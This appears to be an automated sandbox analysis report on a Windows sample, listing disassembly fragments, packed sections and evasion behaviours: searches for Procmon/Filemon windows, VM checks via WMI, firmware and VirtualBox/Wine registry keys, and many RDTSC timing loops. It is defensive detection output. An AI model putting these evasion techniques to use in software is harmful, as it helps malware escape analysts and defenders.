Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C16535 push ebx; mov dword ptr [esp], 376F9CE4h	0_2_05C168F5
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C16535 push eax; mov dword ptr [esp], esi	0_2_05C16998
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C16535 push 4183ABB0h; mov dword ptr [esp], ecx	0_2_05C16A1F
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C16535 push 5D0F7B0Dh; mov dword ptr [esp], ebx	0_2_05C16A5A
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05BF0D48 push ebx; mov dword ptr [esp], edx	0_2_05BF3DC8
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05BF5CBB push 10F22C01h; mov dword ptr [esp], eax	0_2_05BF603B
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05BF5CBB push 36D80E00h; mov dword ptr [esp], ebp	0_2_05BF6044
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05BF5CBB push edx; mov dword ptr [esp], esi	0_2_05BF6059
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05BF5CBB push 59337047h; mov dword ptr [esp], edx	0_2_05BF60DA
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05BF5CBB push 2316F2ADh; mov dword ptr [esp], esi	0_2_05BF60E4
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05BF5CBB push edi; mov dword ptr [esp], ebp	0_2_05BF60F0
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05BF5CBB push ebp; mov dword ptr [esp], ecx	0_2_05BF6119
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05BEECB5 push edx; mov dword ptr [esp], ecx	0_2_05BEECB6
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05BEECB5 push 72135518h; mov dword ptr [esp], ecx	0_2_05BEECBE

Source: zhMQ0hNEmb.exe	Static PE information: section name: entropy: 7.981268857946476
Source: zhMQ0hNEmb.exe	Static PE information: section name: dsrsezxi entropy: 7.954777842552113

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 8F287D second address: 8F2883 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 8F2883 second address: 8F28B3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jno 00007FE804FE5CC6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007FE804FE5CD0h 0x00000011 pop edx 0x00000012 pop eax 0x00000013 pushad 0x00000014 pushad 0x00000015 push ecx 0x00000016 pop ecx 0x00000017 jng 00007FE804FE5CC6h 0x0000001d jbe 00007FE804FE5CC6h 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 8F28B3 second address: 8F28E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FE804B276D3h 0x0000000a push esi 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d jmp 00007FE804B276D4h 0x00000012 pop esi 0x00000013 push eax 0x00000014 push edx 0x00000015 push ecx 0x00000016 pop ecx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 8F1B20 second address: 8F1B24 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 8F1B24 second address: 8F1B2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 8F1B2A second address: 8F1B30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 8F1B30 second address: 8F1B35 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 8F4F19 second address: 8F4F1D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 8F4F1D second address: 8F4F23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 8F507F second address: 8F5084 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 8F5084 second address: 8F50E7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE804B276D0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d jg 00007FE804B276CEh 0x00000013 push eax 0x00000014 jo 00007FE804B276C6h 0x0000001a pop eax 0x0000001b pop eax 0x0000001c pushad 0x0000001d push edx 0x0000001e sub dword ptr [ebp+122D35BEh], ebx 0x00000024 pop esi 0x00000025 mov eax, dword ptr [ebp+122D39B2h] 0x0000002b popad 0x0000002c push edi 0x0000002d and edx, dword ptr [ebp+122D2323h] 0x00000033 pop edx 0x00000034 lea ebx, dword ptr [ebp+1244FE24h] 0x0000003a mov dl, 65h 0x0000003c push eax 0x0000003d push eax 0x0000003e push edx 0x0000003f push edi 0x00000040 jmp 00007FE804B276D7h 0x00000045 pop edi 0x00000046 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 8F523A second address: 8F523E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 8F537A second address: 8F537E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 8F537E second address: 8F539C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FE804FE5CD0h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 8F539C second address: 8F53A6 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FE804B276C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 8F53A6 second address: 8F53DD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE804FE5CD3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b pushad 0x0000000c jmp 00007FE804FE5CD5h 0x00000011 jns 00007FE804FE5CCCh 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 8F53DD second address: 8F5410 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dword ptr [esp+04h], eax 0x00000009 push esi 0x0000000a ja 00007FE804B276CCh 0x00000010 pop esi 0x00000011 pop eax 0x00000012 jbe 00007FE804B276CAh 0x00000018 mov di, 6CA7h 0x0000001c lea ebx, dword ptr [ebp+1244FE38h] 0x00000022 sub dword ptr [ebp+122D1883h], esi 0x00000028 xchg eax, ebx 0x00000029 pushad 0x0000002a push ebx 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 8F5410 second address: 8F5419 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 8F5419 second address: 8F541D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 913EBD second address: 913EC2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 913EC2 second address: 913ED1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FE804B276C6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 91401C second address: 91406E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE804FE5CD6h 0x00000007 jmp 00007FE804FE5CD2h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 push edi 0x00000012 pop edi 0x00000013 push edx 0x00000014 pop edx 0x00000015 jmp 00007FE804FE5CD8h 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d push ebx 0x0000001e pop ebx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 91406E second address: 914072 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 914072 second address: 914076 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 914076 second address: 91408C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 jl 00007FE804B276E1h 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 9144DB second address: 9144E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 914627 second address: 914653 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 jmp 00007FE804B276D4h 0x0000000c jmp 00007FE804B276CCh 0x00000011 popad 0x00000012 pushad 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 914653 second address: 91465C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 914B0E second address: 914B1D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE804B276CAh 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 914C89 second address: 914C8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 914C8E second address: 914CAD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE804B276D1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jg 00007FE804B276DAh 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 914CAD second address: 914CB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 914E48 second address: 914E53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 914F81 second address: 914F89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 914F89 second address: 914F8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 914F8E second address: 914F94 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 914F94 second address: 914F9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FE804B276C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 915294 second address: 915298 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 915298 second address: 9152B7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FE804B276D9h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 915F0F second address: 915F1A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 js 00007FE804FE5CC6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 91E0C4 second address: 91E0DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE804B276D6h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 8EC82D second address: 8EC838 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jc 00007FE804FE5CC6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 92176B second address: 921788 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE804B276D7h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 8E5C69 second address: 8E5C6E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 8E5C6E second address: 8E5C81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c jns 00007FE804B276C6h 0x00000012 pop ecx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 920B9F second address: 920BA5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 920BA5 second address: 920BAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 920BAB second address: 920BDD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE804FE5CCCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jo 00007FE804FE5CFDh 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FE804FE5CD8h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 920BDD second address: 920BE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 920D29 second address: 920D41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jmp 00007FE804FE5CCDh 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d pop eax 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 920D41 second address: 920D4B instructions: 0x00000000 rdtsc 0x00000002 je 00007FE804B276C6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 920D4B second address: 920D6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007FE804FE5CD7h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 920D6D second address: 920D79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 920D79 second address: 920D7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 920D7F second address: 920D83 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 920D83 second address: 920D94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE804FE5CCBh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 92104D second address: 921092 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jo 00007FE804B276C6h 0x00000009 jmp 00007FE804B276CBh 0x0000000e pop edi 0x0000000f pop edx 0x00000010 pop eax 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FE804B276D3h 0x00000019 jmp 00007FE804B276D8h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 921092 second address: 9210AF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE804FE5CD9h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 9210AF second address: 9210D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FE804B276D0h 0x0000000b push eax 0x0000000c push edx 0x0000000d ja 00007FE804B276C6h 0x00000013 jng 00007FE804B276C6h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 923119 second address: 92311E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 92311E second address: 92314C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b jmp 00007FE804B276CCh 0x00000010 mov eax, dword ptr [eax] 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 jmp 00007FE804B276CBh 0x0000001a jo 00007FE804B276C6h 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 92314C second address: 923180 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE804FE5CD0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d pushad 0x0000000e jmp 00007FE804FE5CD7h 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 923180 second address: 923184 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 923184 second address: 9231B8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pop eax 0x00000008 mov edi, dword ptr [ebp+122D2205h] 0x0000000e push F47EF6C7h 0x00000013 jng 00007FE804FE5CE7h 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007FE804FE5CD9h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 923818 second address: 92381E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 923E35 second address: 923E3B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
